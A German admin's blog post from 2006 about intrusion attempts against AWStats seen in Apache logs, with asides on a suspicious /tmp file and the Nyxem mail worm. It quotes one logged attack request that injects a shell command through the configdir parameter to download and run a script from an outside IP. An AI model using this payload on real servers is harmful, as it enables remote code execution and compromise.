Das durch diverse Sicherheitslücken negativ aufgefallene
AWStats scheint für diverse Hackversuche immernoch ein sehr beliebtes Einfalltor zu sein. AWStats ist ein grafisches Auswertungstool für Webserver-Logfiles, geschrieben in Perl. Ich selbst habe es ergänzend zu Webdruid/Webalizer im Einsatz.
So habe ich bei Stichproben in den Apachelogs von heute bereits diverse Einbruchsversuche bemerkt:
:~ # grep "wget" /usr/local/apache/logs/httpsd_24_01_2006.log
www.*.de 80.55.2.210 - - [24/Jan/2006:03:03:18 +0100] "GET awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget
%20194%2e102%2e194%2e115%2fscripz%3b
chmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
www.* 80.55.2.210 - - [24/Jan/2006:03:03:26 +0100] "GET
...
Die Quell-IP bleibt gleich (diesmal waren es wohl die bösen Polen), die getesteten Domains hingegen sind immer andere. Sehr merkwürdig das Ganze. Ebenfalls merkwürdig ist die Datei
wpoison.words, die ich in /tmp gefunden habe. Keine Ahnung, ob das vielleicht eine Passwortliste oder sowas für Bruteforce sein soll? Mir sagen die Begriffe darin zumindest nichts, wohl aber der Dateiname. Zumindest ist mir dieser schön öfter negativ auf Serversystemen aufgefallen. Vielleicht weiss ja jemand Rat?
Mit einer gewissen Sorge schaue ich ebenfalls auf den neuen Mailwurm
Nyxem (was soll das sein, ein "Nyxem"?

) bzw. auf die Mailqueue, die seit gestern auf rund 6000 Mails pro Knoten gestiegen ist. Das ist nicht weiter viel, aber viel wird da ja vielleicht noch kommen. Unsere Virenscanner bereiten sich aber bereits auf einen harten Kampf vor
Kommentare